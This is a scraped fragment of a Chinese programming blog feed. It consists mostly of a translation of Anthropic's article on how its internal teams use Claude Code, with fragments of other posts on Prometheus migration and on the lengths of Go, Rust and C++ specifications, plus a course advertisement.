href=\"https://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics\"\u003ehttps://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在云原生可观测性的领域，Prometheus 无疑是王者。凭借其简洁的模型、强大的 PromQL 和活跃的社区，Prometheus 几乎定义了现代监控的行业标准。许多顶尖技术公司，包括 PingCAP，都将其作为核心产品的监控与告警解决方案。\u003c/p\u003e","title":"为什么 VictoriaMetrics 正在替换 Prometheus？一次大规模可观测性迁移实录"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code\n当 AI 编程助手从简单的代码补全工具，演变为深度集成于开发者工作流核心的“终端原生 AI”（Terminal-native AI）时，一个根本性的问题浮现出来：顶尖团队究竟是如何在日常工作中驾驭这股新力量的？ 理论和演示层出不穷，但真实、大规模、跨职能的实践案例却凤毛麟角。\n现在，我们得到了来自源头的答案。\nAnthropic 公司今天发布了一份极为详尽的内部案例研究，为我们提供了一次罕见的“幕后观察”机会，让我们得以一窥其内部团队——从最核心的产品开发、安全工程，到数据科学、乃至法务和营销团队——是如何将 Claude Code 作为其日常工作的核心伙伴。\n这份案例研究的意义非凡，因为它不再是关于“AI 能做什么”的畅想，而是关于“AI 正在如何做”的实录。从数据工程师借助截图在几分钟内解决复杂的 Kubernetes 故障，到毫无编程经验的财务团队用自然语言构建起全自动的数据处理流；从新员工入职第一天就能高效导航庞大的单一代码库，到产品设计师直接将视觉稿转化为可交互的前端原型——我们看到的是一种工作范式的彻底变革以及生产力的“爆炸”！\n本文就翻译自Anthropic的这篇博客文章《How Anthropic teams use Claude Code》，希望各位读者都能从中受益。\nAnthropic 的内部团队正在通过 Claude Code 改变其工作流程，使开发人员和非技术人员能够处理复杂项目、自动化任务，并弥合之前限制他们生产力的技能差距。\n为了了解更多，我们与以下团队进行了交谈：\n数据基础设施 产品开发 安全工程 推理 数据科学与可视化 产品工程 增长营销 产品设计 强化学习 (RL) 工程 法务 通过这些访谈，我们深入了解了不同部门如何使用 Claude Code、它对其工作的影响，以及为其他考虑采用该工具的组织提供的建议。\nClaude Code 在数据基础设施领域的应用 数据基础设施团队为全公司的团队组织所有业务数据。他们使用 Claude Code 来自动化常规的数据工程任务、解决复杂的基础设施问题，并为非技术团队成员创建文档化的工作流程，以便他们能够独立地访问和操作数据。\n主要 Claude Code 用例 使用截图进行 Kubernetes 调试\n当 Kubernetes 集群出现故障且无法调度新的 pod 时，团队使用 Claude Code 来诊断问题。他们将仪表盘的截图输入到 Claude Code 中，后者引导他们逐个菜单地浏览 Google Cloud 的 UI，直到发现一个指示 pod IP 地址耗尽的警告。随后，Claude Code 提供了创建新 IP 池并将其添加到集群的确切命令，从而无需网络专家的介入。\n为财务团队提供纯文本工作流\n工程师向财务团队成员展示了如何编写描述其数据工作流的纯文本文件，然后将其加载到 Claude Code 中以实现完全自动化的执行。没有编程经验的员工可以描述诸如“查询此仪表盘，获取信息，运行这些查询，生成 Excel 输出”之类的步骤，Claude Code 将执行整个工作流，包括询问像日期这样的必需输入。\n为新员工提供代码库导航\n当新的数据科学家加入团队时，他们被引导使用 Claude Code 来导航庞大的代码库。Claude Code 会读取他们的 Claude.md 文件，为特定任务识别相关文件，解释数据管道的依赖关系，并帮助新员工理解哪些上游数据源为仪表盘提供数据。这取代了传统的数据目录和可发现性工具。\n会话结束时的文档更新\n团队会要求 Claude Code 总结已完成的工作会话，并在每个任务结束时提出改进建议。这就创建了一个持续改进的循环，其中 Claude Code 帮助优化 Claude.md 文件。\n跨多个实例的并行任务管理\n在处理长时间运行的数据任务时，团队会在不同的代码仓库中为不同的项目打开多个 Claude Code 实例。每个实例都保持完整的上下文，因此当他们在数小时或数天后切换回来时，Claude Code 能准确记住他们当时正在做什么以及进行到哪里，从而实现了真正的并行工作流管理而不会丢失上下文。\n团队影响 无需专业知识即可解决基础设施问题\n解决了通常需要系统或网络团队成员介入的 Kubernetes 集群问题，使用 Claude Code 诊断问题并提供精确的修复方案。\n加速入职流程\n新的数据分析师和团队成员可以迅速理解复杂的系统，并在没有大量指导的情况下做出有意义的贡献。\n增强的支持工作流\nClaude Code 可以处理更大量的数据并识别异常（例如监控 200 个仪表盘），这是人类手动审查无法做到的。\n实现了跨团队自助服务\n没有编程经验的财务团队现在可以独立执行复杂的数据工作流。\n来自数据基础设施团队的顶级建议 编写详细的 Claude.md 文件\n团队表示，你在 Claude.md 文件中记录工作流、工具和期望越详尽，Claude Code 的表现就越好。这使得 Claude Code 在处理诸如根据现有设计模式建立新数据管道之类的常规任务时表现出色。\n对敏感数据使用 MCP 服务器而非 CLI\n他们建议使用 MCP 服务器而不是 BigQuery CLI，以便更好地控制 Claude Code 的访问权限，尤其是在处理需要日志记录或有潜在隐私问题的敏感数据时。\n分享使用会话\n团队举办了分享会，成员们在会上演示了各自的 Claude Code 工作流程。这有助于传播最佳实践，并展示了他们可能未曾发现的各种工具使用方法。\nClaude Code 在产品开发领域的应用 Claude Code 产品开发团队使用他们自己的产品来为 Claude Code 构建更新，扩展产品的企业级功能和智能体体循环（agentic loop）功能。\n主要 Claude Code 用例 使用自动接受模式进行快速原型设计\n工程师通过启用“自动接受模式”（shift+tab）来进行快速原型设计，并建立自主循环，让 Claude 编写代码、运行测试并持续迭代。他们给 Claude 提出他们不熟悉的抽象问题，让它自主工作，然后在最终完善前审查那 80% 完成度的解决方案。团队建议从一个干净的 git 状态开始，并定期提交检查点，以便在 Claude 偏离轨道时可以轻松地恢复任何不正确的更改。\n核心功能的同步编码\n对于触及应用核心业务逻辑的更关键的功能，团队与 Claude Code 同步工作，提供带有具体实现指令的详细提示。他们在实时监控整个过程，以确保代码质量、风格指南合规性和正确的架构，同时让 Claude 处理重复性的编码工作。\n构建 Vim 模式\n他们最成功的异步项目之一是为 Claude Code 实现 Vim 键位绑定。他们要求 Claude 构建整个功能，最终实现的约 70% 来自 Claude 的自主工作，只需几次迭代即可完成。\n测试生成与错误修复\n团队在实现功能后，使用 Claude Code 编写全面的测试，并处理在代码审查中发现的简单错误修复。他们还使用 GitHub Actions 让 Claude 自动处理 Pull Request 中的评论，如格式化问题或函数重命名。\n代码库探索\n在处理不熟悉的代码库（如单一代码库或 API 端）时，团队使用 Claude Code 快速理解系统的工作方式。他们不再等待 Slack 上的回复，而是直接向 Claude 询问解释和代码引用，从而在上下文切换中节省了大量时间。\n团队影响 更快的特性实现\nClaude Code 成功地实现了像 Vim 模式这样的复杂功能，其中 70% 的代码由 Claude 自主编写。\n提高开发速度\n该工具可以快速地为功能制作原型并迭代想法，而不会陷入实现细节的泥潭。\n通过自动化测试提升代码质量\nClaude 生成全面的测试并处理常规的错误修复，在减少手动工作的同时保持了高标准。\n更好的代码库探索\n团队成员可以迅速熟悉单一代码库中不熟悉的部分，而无需等待同事的回复。\n来自 Claude Code 团队的顶级建议 创建自给自足的循环\n设置 Claude，让它通过自动运行构建、测试和代码检查来验证自己的工作。这使得 Claude 能够更长时间地自主工作并发现自己的错误，在要求它在编写代码之前生成测试时尤其有效。\n培养任务分类的直觉\n学会区分适合异步处理的任务（外围功能、原型设计）和需要同步监督的任务（核心业务逻辑、关键修复）。产品边缘的抽象任务可以用“自动接受模式”处理，而核心功能则需要更密切的监督。\n形成清晰、详细的提示\n当组件具有相似的名称或功能时，在你的请求中要极其具体。你的提示越好、越详细，你就越能相信 Claude 能独立工作，而不会意外地更改代码库的错误部分。\nClaude Code 在安全工程领域的应用 安全工程团队专注于保障软件开发生命周期、供应链安全和开发环境安全。他们广泛使用 Claude Code 进行代码编写和调试。\n主要 Claude Code 用例 复杂的基础设施调试\n在处理事故时，他们向 Claude Code 提供堆栈跟踪和文档，要求它在代码库中追踪控制流。这大大缩短了生产问题的解决时间，使他们能够在大约 5 分钟内理解通常需要 10-15 分钟手动代码扫描才能发现的问题。\nTerraform 代码审查与分析\n对于需要安全审批的基础设施变更，团队将 Terraform 计划复制到 Claude Code 中，并提问“这会做什么？我会后悔吗？”。这创建了更紧密的反馈循环，使安全团队能更快地审查和批准基础设施变更，减少了开发过程中的瓶颈。\n文档合成与操作手册（runbooks）\nClaude Code 能消化多个文档源，并创建 Markdown 格式的操作手册、故障排除指南和概述。团队使用这些浓缩的文档作为调试实际问题的上下文，创建了比搜索完整知识库更高效的工作流程。\n测试驱动的开发工作流\n他们不再遵循以前“设计文档 → 粗糙代码 → 重构 → 放弃测试”的模式，而是要求 Claude Code 提供伪代码，引导它完成测试驱动的开发，并在其卡住时定期介入以引导方向，从而产生更可靠和可测试的代码。\n上下文切换与项目入职\n在为像“dependant”（一个用于安全审批工作流的 Web 应用）这样的现有项目贡献代码时，他们使用 Claude Code 编写、审查和执行用 Markdown 编写并存储在代码库中的规范，使得在几天内（而非几周）就能做出有意义的贡献。\n团队影响 缩短事故解决时间\n通常需要 10-15 分钟手动代码扫描的基础设施调试，现在大约只需要 5 分钟。\n改进的安全审查周期\n用于安全审批的 Terraform 代码审查速度更快，消除了开发者在等待安全团队批准时的阻塞。\n增强的跨职能贡献\n团队成员可以在几天内为项目做出有意义的贡献，而无需数周的上下文构建。\n更好的文档工作流\n从多个来源合成的故障排除指南和操作手册，创建了更高效的调试流程。\n来自安全工程团队的顶级建议 广泛使用自定义斜杠命令\n安全工程团队使用了整个单一代码库中 50% 的自定义斜杠命令实现。这些自定义命令简化了特定的工作流程并加速了重复性任务。\n让 Claude 先说\n他们不再是提出针对性问题以生成代码片段，而是告诉 Claude Code “边做边提交你的工作”，让它在定期检查的情况下自主工作，从而得到更全面的解决方案。\n充分利用其文档能力\n除了编码，Claude Code 在合成文档和创建结构化输出方面表现出色。团队提供写作样本和格式偏好，以获得可以立即在 Slack、Google Docs 和其他工具中使用的文档，从而避免界面切换的疲劳。\nClaude Code 在推理领域的应用 推理团队管理着在 Claude 读取你的提示并生成响应时存储信息的内存系统。团队成员，尤其是那些刚接触机器学习的人，可以广泛使用 Claude Code 来弥补知识差距并加速他们的工作。\n主要 Claude Code 用例 代码库理解与入职\n团队严重依赖 Claude Code 在加入复杂代码库时快速理解其架构。他们不再手动搜索 GitHub 仓库，而是要求 Claude 找到调用特定功能的文件，在几秒钟内得到结果，而不是询问同事或手动搜索。\n带边缘案例覆盖的单元测试生成\n在编写完核心功能后，他们会要求 Claude 编写全面的单元测试。Claude 会自动包含被忽略的边缘案例，在几分钟内完成通常需要大量时间和脑力的工作，就像一个他们可以审查的编码助手。\n机器学习概念解释\n没有机器学习背景的团队成员依赖 Claude 来解释特定模型的功能和设置。以前需要一个小时谷歌搜索和阅读文档的事情，现在只需要 10-20 分钟，研究时间减少了 80%。\n跨语言代码翻译\n在测试不同编程语言的功能时，团队会解释他们想要测试的内容，然后 Claude 会用所需的语言（如 Rust）编写逻辑，从而无需为了测试目的而学习新语言。\n命令记忆与 Kubernetes 管理\n他们不再需要记住复杂的 Kubernetes 命令，而是向 Claude 询问正确的语法，比如“如何获取所有 pod 或部署的状态”，并获得他们基础设施工作所需的确切命令。\n团队影响 加速机器学习概念学习\n通过 Claude Code，他们的研究时间减少了 80%，以前需要一个小时谷歌搜索的事情现在只需要 10-20 分钟。\n更快的代码库导航\n该工具可以帮助团队成员在几秒钟内找到相关文件并理解系统架构，而不用依赖同事分享知识，后者通常需要几天时间。\n全面的测试覆盖\nClaude 自动生成带有边缘案例的单元测试，在保持代码质量的同时减轻了脑力负担。\n消除语言障碍\n团队可以在不熟悉的情况下，在像 Rust 这样的语言中实现功能，而无需学习它。\n来自推理团队的顶级建议 首先测试知识库功能\n尝试问各种问题，看看 Claude 的回答是否比谷歌搜索更快。如果它更快、更准确，那么它就是你工作流程中一个宝贵的时间节省工具。\n从代码生成开始\n给 Claude 具体指令，要求它编写逻辑，然后验证其正确性。这有助于在将其用于更复杂的任务之前，建立对该工具能力的信任。\n用它来编写测试\n让 Claude 编写单元测试可以显著减轻日常开发工作的压力。利用这个功能来保持代码质量，而无需花费时间手动思考所有测试用例。\nClaude Code 在数据科学与机器学习工程领域的应用 数据科学和机器学习工程团队需要复杂的可视化工具来理解模型性能，但构建这些工具通常需要不熟悉的语言和框架的专业知识。Claude Code 使这些团队能够构建生产质量的分析仪表盘，而无需成为全栈开发人员。\n主要 Claude Code 用例 构建 JavaScript/TypeScript 仪表盘应用\n尽管对“JavaScript 和 TypeScript 知之甚少”，该团队仍使用 Claude Code 构建了完整的 React 应用，用于可视化强化学习 (RL) 模型的性能和训练数据。他们让 Claude 控制从零开始编写完整的应用程序，比如一个 5000 行的 TypeScript 应用，而无需自己理解代码。这至关重要，因为可视化应用上下文相对较低，不需要理解整个单一代码库，从而允许快速原型设计工具来理解模型在训练和评估期间的性能。\n处理重复的重构任务\n当面临合并冲突或半复杂的文件重构时——这些任务对于编辑器宏来说过于复杂，但又不足以进行大规模开发——他们会像使用“老虎机”一样使用 Claude Code：提交他们的状态，让 Claude 自主工作 30 分钟，然后要么接受解决方案，要么在不成功时重新开始。\n创建持久的分析工具而非一次性笔记本\n团队现在让 Claude 构建可以跨未来模型评估重用的永久性 React 仪表盘，而不是构建用完即弃的一次性 Jupyter 笔记本。这很重要，因为理解 Claude 的性能是“团队最重要的事情之一”——他们需要了解模型在训练和评估期间的表现，而“这实际上非同小可，简单的工具无法从一个上升的数字中获得太多信号。”\n零依赖任务委托\n对于完全不熟悉的代码库或语言中的任务，他们将整个实现委托给 Claude Code，利用其从单一代码库中收集上下文并执行任务的能力，而无需他们实际参与编码过程。这使得他们能够在专业领域之外提高生产力，而不是花时间学习新技术。\n团队影响 实现 2-4 倍的时间节省\n过去繁琐但可手动管理的常规重构任务现在完成得更快了。\n在不熟悉的语言中构建复杂的应用程序\n尽管 JavaScript/TypeScript 经验最少，也创建了 5000 行的 TypeScript 应用。\n从一次性工具转向持久性工具\n不再使用一次性的 Jupyter 笔记本，现在构建可重用的 React 仪表盘进行模型分析。\n直接的模型改进洞察\n第一手的 Claude Code 经验为未来模型迭代中更好的内存系统和用户体验改进提供了信息。\n实现了可视化驱动的决策\n通过先进的可视化工具，更好地理解 Claude 在训练和评估期间的性能。\n来自数据科学与机器学习工程团队的建议 像玩老虎机一样对待它\n在让 Claude 工作之前保存你的状态，让它运行 30 分钟，然后要么接受结果，要么重新开始，而不是试图纠正错误。从头开始通常比试图修复 Claude 的错误有更高的成功率。\n在需要时为了简单而中断\n在监督时，不要犹豫，停下来问 Claude “你为什么这么做？试试更简单的方法。” 模型默认倾向于更复杂的解决方案，但对更简单方法的请求反应良好。\nClaude Code 在产品工程领域的应用 产品工程团队致力于 PDF 支持、引用和网络搜索等功能，这些功能为 Claude 的上下文窗口带来了额外的知识。跨越大型、复杂的代码库工作意味着不断遇到不熟悉的代码部分，需要花费大量时间来理解要检查哪些文件，并在进行更改前建立上下文。Claude Code 改善了这种体验，它作为一个向导，可以帮助他们理解系统架构、识别相关文件并解释复杂的交互。\n主要 Claude Code 用例 第一步工作流规划\n团队将 Claude Code 作为任何任务的“第一站”，要求它确定要检查哪些文件以进行错误修复、功能开发或分析。这取代了在开始工作前手动导航代码库和收集上下文的传统耗时过程。\n跨代码库的独立调试\n团队现在有信心在不向他人求助的情况下，处理代码库中不熟悉部分的错误。他们可以问 Claude “你认为你能修复这个 bug 吗？这是我看到的行为”，并且通常能立即取得进展，这在以前由于所需的时间投入而不可行。\n通过内部测试进行模型迭代测试\nClaude Code 自动使用最新的研究模型快照，使其成为体验模型变化的主要方式。这为团队在开发周期中提供了关于模型行为变化的直接反馈，这是他们以前在发布时没有经历过的。\n消除上下文切换的开销\n他们不再需要将代码片段复制和拖动到 Claude.ai 中，同时还要详细解释问题，而是可以直接在 Claude Code 中提问，无需额外的上下文收集，大大减少了脑力开销。\n团队影响 增强了处理不熟悉领域的信心\n团队成员可以独立地在不熟悉的代码库中调试错误和调查事件。\n在上下文收集中节省了大量时间\nClaude Code 消除了将代码片段复制和拖动到 Claude.ai 的开销，减少了上下文切换的负担。\n更快的轮岗入职\n轮岗到新团队的工程师可以迅速导航不熟悉的代码库，并在没有大量同事咨询的情况下做出有意义的贡献。\n提升了开发者的幸福感\n团队报告说，在日常工作流程中减少了摩擦，感觉更快乐、更有效率。\n来自产品工程团队的顶级建议 将其视为迭代的伙伴，而非一次性的解决方案\n不要期望 Claude 能立即解决问题，而是把它当作一个你与之迭代的合作者。这比试图在第一次尝试中就获得完美的解决方案效果更好。\n用它来建立在不熟悉领域的信心\n不要犹豫，去处理你专业领域之外的错误或调查事件。Claude Code 使得在通常需要大量上下文构建的领域独立工作成为可能。\n从最少的信息开始\n从你需要的最基本信息开始，让 Claude 引导你完成整个过程，而不是预先加载大量的解释。\nClaude Code 在增长营销领域的应用 增长营销团队专注于在付费搜索、付费社交、移动应用商店、电子邮件营销和 SEO 方面建立效果营销渠道。作为一个非技术背景的单人团队，他们使用 Claude Code 来自动化重复性的营销任务，并创建传统上需要大量工程资源的智能体工作流。\n主要 Claude Code 用例 自动化 Google Ads 广告创意生成\n团队构建了一个智能体工作流，该工作流处理包含数百个现有广告及其效果指标的 CSV 文件，识别表现不佳的广告进行迭代，并生成符合严格字符限制（标题 30 个字符，描述 90 个字符）的新变体。使用两个专门的子智能体（一个用于标题，一个用于描述），该系统可以在几分钟内生成数百个新广告，而无需跨多个活动进行手动创建。这使他们能够大规模地进行测试和迭代，这是以前需要大量时间才能实现的。\n用于大规模创意制作的 Figma 插件\n他们开发了一个 Figma 插件，而不是为付费社交广告手动复制和编辑静态图像。该插件能识别框架并以编程方式通过替换标题和描述生成多达 100 个广告变体，将过去需要数小时的复制粘贴工作减少到每批次半秒。这使得创意产出提高了 10 倍，让团队可以在关键社交渠道上测试更多样化的创意变体。\n用于活动分析的 Meta Ads MCP 服务器\n他们创建了一个与 Meta Ads API 集成的 MCP 服务器，以直接在 Claude 桌面应用内查询活动表现、支出数据和广告效果，从而无需在不同平台之间切换进行性能分析，节省了关键时间，而每一个效率的提升都转化为更高的投资回报率（ROI）。\n带记忆系统的高级提示工程\n他们实现了一个基本的记忆系统，记录跨广告迭代的假设和实验，使系统在生成新变体时能够提取以前的测试结果作为上下文，从而创建了一个自我改进的测试框架。这使得系统性的实验成为可能，而这在以前是无法手动追踪的。\n团队影响 在重复性任务上节省了大量时间\nClaude Code 将广告文案创作时间从 2 小时减少到 15 分钟，为团队腾出更多时间进行战略性工作。\n创意产出增加 10 倍\n通过自动化广告生成和 Figma 集成，团队现在可以在各个渠道测试更多的广告变体，以获取最新的视觉设计元素。\n像一个更大的团队一样运作\n团队可以处理传统上需要专门工程资源的大型开发任务。\n战略焦点的转移\n团队可以花更多时间在整体战略和构建智能体自动化上，而不是手动执行。\n来自增长营销团队的顶级建议 识别支持 API 的重复性任务\n寻找涉及使用带有 API 的工具（如广告平台、设计工具、分析平台）进行重复性操作的工作流。这些是自动化的主要候选者，也是 Claude Code 提供最大价值的地方。\n将复杂工作流分解为专门的子智能体\n不要试图在一个提示或工作流中处理所有事情，而是为特定任务创建单独的智能体（例如标题智能体 vs. 描述智能体）。这在处理复杂需求时使调试更容易，并提高了输出质量。\n在编码前进行彻底的头脑风暴和提示规划\n花大量时间预先使用 Claude.ai 来思考你的整个工作流，然后让 Claude.ai 为 Claude Code 创建一个全面的提示和代码结构以供参考。此外，要循序渐进地工作，而不是要求一次性的解决方案，以避免 Claude 被复杂的任务压垮。\nClaude Code 在产品设计领域的应用 产品设计团队支持 Claude Code、Claude.ai 和 Anthropic API，专注于构建 AI 产品。即使是非开发人员也可以使用 Claude Code 来弥合设计和工程之间的传统鸿沟，使他们能够直接实现其设计愿景，而无需与工程师进行大量的来回迭代。\n主要 Claude Code 用例 前端润色和状态管理变更\n团队不再创建详尽的设计文档，并与工程师就视觉调整（字体、颜色、间距）进行多轮反馈，而是直接使用 Claude Code 实现这些更改。工程师们注意到，他们正在进行“通常不会看到设计师做出的大的状态管理更改”，这使他们能够达到他们所设想的确切质量。\nGitHub Actions 自动化工单处理\n利用 Claude Code 的 GitHub 集成，他们只需提交描述所需更改的问题/工单，Claude 就会自动提出代码解决方案，而无需打开 Claude Code，为他们持续积压的润色任务创建了一个无缝的错误修复和功能优化工作流。\n快速交互式原型制作\n通过将模型图像粘贴到 Claude Code 中，他们可以生成功能齐全的原型，工程师可以立即理解并在此基础上进行迭代，取代了传统的静态 Figma 设计周期，后者需要大量的解释和到工作代码的转换。\n边缘案例发现和系统架构理解\n团队使用 Claude Code 来绘制错误状态、逻辑流和不同的系统状态，使他们能够在设计阶段识别边缘案例，而不是在开发后期才发现，从而从根本上提高了他们初始设计的质量。\n复杂的文案更改和法律合规\n对于像在整个代码库中移除“研究预览”消息这样的任务，他们使用 Claude Code 查找所有实例，审查周围的文案，与法务部门实时协调更改，并实施更新，这个过程只需要两个 30 分钟的电话会议，而不是一周的来回协调。\n团队影响 转变了核心工作流\nClaude Code 成为主要的设计工具，Figma 和 Claude Code 的使用时间占到了 80%。\n2-3 倍的执行速度\n以前需要与工程师大量来回沟通的视觉和状态管理更改现在可以直接实现。\n周期时间从数周缩短到数小时\n像发布 Google Analytics 消息这样需要一周协调的复杂项目，现在可以在两个 30 分钟的电话会议中完成。\n两种截然不同的用户体验\n开发者获得了一种“增强的工作流”（更快的执行），而非技术用户则获得了“天哪，我现在也能像开发者一样工作了！”的工作流。\n改善了设计与工程的协作\nClaude Code 改善了沟通和问题解决速度，因为设计师在不必与工程师紧密合作的情况下，就能理解系统的约束和可能性。\n来自产品设计团队的顶级建议 从工程师那里获得正确的设置帮助\n让工程团队的同事帮助进行初始的代码仓库设置和权限配置——对于非开发人员来说，技术入职具有挑战性，但一旦配置完成，它将为日常工作流带来变革。\n使用自定义记忆文件来引导 Claude 的行为\n创建具体的指令，告诉 Claude 你是一个编码经验很少的设计师，需要详细的解释和更小、增量的更改，这会显著提高 Claude 响应的质量，并使其不那么令人生畏。\n利用图像粘贴进行原型制作\n使用 Command+V 将截图直接粘贴到 Claude Code 中。它在读取设计和生成功能代码方面表现出色，对于将静态模型转化为工程师可以立即理解和构建的交互式原型非常有价值。\nClaude Code 在 RL 工程领域的应用 RL 工程团队专注于 RL 中的高效采样和跨集群的权重传输。他们主要使用 Claude Code 编写中小型功能、进行调试，以及理解复杂的代码库，采用一种包含频繁检查点和回滚的迭代方法。\n主要 Claude Code 用例 有监督的自主功能开发\n团队让 Claude Code 编写大部分中小型功能的代码，同时提供监督，例如为权重传输组件实现认证机制。他们以交互方式工作，允许 Claude 主导，但在其偏离轨道时进行引导。\n测试生成与代码审查\n在自己实现更改后，团队会要求 Claude Code 添加测试或审查他们的代码。这种自动化的测试工作流在常规但重要的质量保证任务上节省了大量时间。\n调试和错误调查\n他们使用 Claude Code 调试错误，结果好坏参半。有时它能立即识别问题并添加相关测试，而其他时候它难以理解问题，但总的来说，在它起作用时提供了价值。\n代码库理解和调用栈分析\n他们工作流程中最大的变化之一是使用 Claude Code 快速获取相关组件和调用栈的摘要，取代了手动阅读代码或生成大量调试输出。\nKubernetes 操作指导\n他们经常向 Claude 询问 Kubernetes 操作，这些操作通常需要大量的谷歌搜索或询问基础设施工程的同事，从而获得配置和部署问题的即时答案。\n开发工作流影响 启用了实验性方法\n他们现在使用一种“尝试并回滚”的方法，频繁提交检查点，以便测试 Claude 的自主实现尝试，并在需要时恢复，从而实现更具实验性的开发。\n加速了文档工作\nClaude Code 自动添加有用的注释，节省了大量的文档时间，尽管他们注意到它有时会在奇怪的地方添加注释或使用有问题的代码组织方式。\n有局限性的提速\n虽然 Claude Code 可以在“相对较少的时间”内实现中小型 PR，但他们承认，它只有大约三分之一的时间能在第一次尝试时成功，需要额外的指导或手动干预。\n来自 RL 工程团队的顶级建议 为特定模式定制你的 Claude.md 文件\n在你的 Claude.md 文件中添加指令，以防止 Claude 犯重复的工具调用错误，比如告诉它“运行 pytest 而不是 run，不要不必要地 cd – 只需使用正确的路径。” 这显著提高了一致性。\n使用检查点密集的工作流\n在 Claude 进行更改时定期提交你的工作，以便在实验不成功时轻松回滚。这使得开发能够采用更具实验性的方法，而没有风险。\n先尝试一次性完成，然后协作\n给 Claude 一个快速的提示，让它尝试完成整个实现。如果成功了（大约三分之一的时间），你就节省了大量时间。如果没有，那就切换到更具协作性的、引导式的方法。\nClaude Code 在法务领域的应用 法务团队通过实验和了解 Anthropic 产品供应的愿望，发现了 Claude Code 的潜力。此外，一名团队成员有一个个人用例，涉及为家庭和工作创建可访问性工具原型，展示了该技术为非开发人员提供的力量。\n主要 Claude Code 用例 为家庭成员定制的可访问性解决方案\n团队成员为有医疗诊断导致说话困难的家庭成员构建了沟通助手。在短短一个小时内，一个人使用原生的语音到文本功能创建了一个预测性文本应用，该应用能建议回复并使用语音库说出它们，解决了语言治疗师推荐的现有可访问性工具中的空白。\n法务部门工作流自动化\n团队创建了原型“电话树”系统，以帮助团队成员在 Anthropic 与合适的律师联系，展示了法务部门如何在没有传统开发资源的情况下为常见任务构建自定义工具。\n团队协调工具\n经理们构建了 G Suite 应用，可以自动化每周的团队更新，并跨产品跟踪法律审查状态，使律师能够通过简单的按钮点击而不是电子表格管理来快速标记需要审查的项目。\n用于解决方案验证的快速原型制作\n他们使用 Claude Code 快速构建功能原型，可以向领域专家展示（比如向 UCSF 的专家展示可访问性工具），以验证想法并在投入更多时间之前识别现有解决方案。\n工作风格与影响 在 Claude.ai 中规划，在 Claude Code 中构建\n他们使用一个两步流程，首先在 Claude.ai 中进行头脑风暴和规划，然后转移到 Claude Code 进行实现，要求它放慢速度并逐步工作，而不是一次性输出所有内容。\n视觉优先的方法\n他们经常使用截图向 Claude Code 展示他们想要的界面外观，然后根据视觉反馈进行迭代，而不是用文字描述功能。\n原型驱动的创新\n他们强调克服分享“傻瓜式”或“玩具式”原型的恐惧，因为这些演示能激励他人看到他们以前没有想到的可能性。\n安全与合规意识 MCP 集成问题\n产品律师使用 Claude Code 立即识别深度 MCP 集成的安全影响，指出随着 AI 工具访问更敏感的系统，保守的安全态势将构成障碍。\n合规工具的优先级\n他们倡导随着 AI 能力的扩展迅速构建合规工具，认识到创新与风险管理之间的平衡。\n来自法务部门的顶级建议 首先在 Claude.ai 中进行详尽规划\n在转向 Claude Code 之前，使用 Claude 的对话界面充实你的整个想法。然后要求 Claude 将所有内容总结成一个分步的实现提示。\n增量和可视化地工作\n要求 Claude 放慢速度，一次实现一个步骤，这样你就可以复制粘贴而不会被淹没。大量使用截图来展示你想要的界面外观。\n尽管不完美也要分享原型\n克服隐藏“玩具”项目或未完成工作的冲动。分享原型有助于他人看到可能性，并激发通常不互动的部门之间的创新。\n立即开始使用 Claude Code吧。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/how-anthropic-teams-use-claude-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code\"\u003ehttps://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e当 AI 编程助手从简单的代码补全工具，演变为深度集成于开发者工作流核心的“终端原生 AI”（Terminal-native AI）时，一个根本性的问题浮现出来：\u003cstrong\u003e顶尖团队究竟是如何在日常工作中驾驭这股新力量的？\u003c/strong\u003e 理论和演示层出不穷，但真实、大规模、跨职能的实践案例却凤毛麟角。\u003c/p\u003e","title":"Anthropic内部实践首次公开：揭秘Claude Code如何引爆全员生产力"},{"content":"Go vs. Rust vs. C++：从语言规范长度看三种不同的“复杂性” - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo vs. Rust vs. C++：从语言规范长度看三种不同的“复杂性” 七月 25, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/25/go-vs-rust-vs-cpp-in-complexity)\n大家好，我是Tony Bai。\n最近，一张关于编程语言规范词数统计的图表，在技术圈广为流传。它以一种极其直观、甚至有些残酷的方式，将不同语言的复杂性摆在了我们面前。\n在这张图上，我们看到了惊人的差异：\nC++: 以超过 80 万词的规范长度，一骑绝尘，成为当之无愧的“巨无霸”。 C# 和 Java: 分别以约 40 万和 25 万词紧随其后，是功能丰富的“航空母舰”。 Go: 规范仅约 5 万词，与以简洁著称的 C (约 5.5 万词) 处于同一量级。 这张图不仅仅是一个有趣的谈资。语言规范的长度，是衡量一门语言复杂度的最客观指标之一。 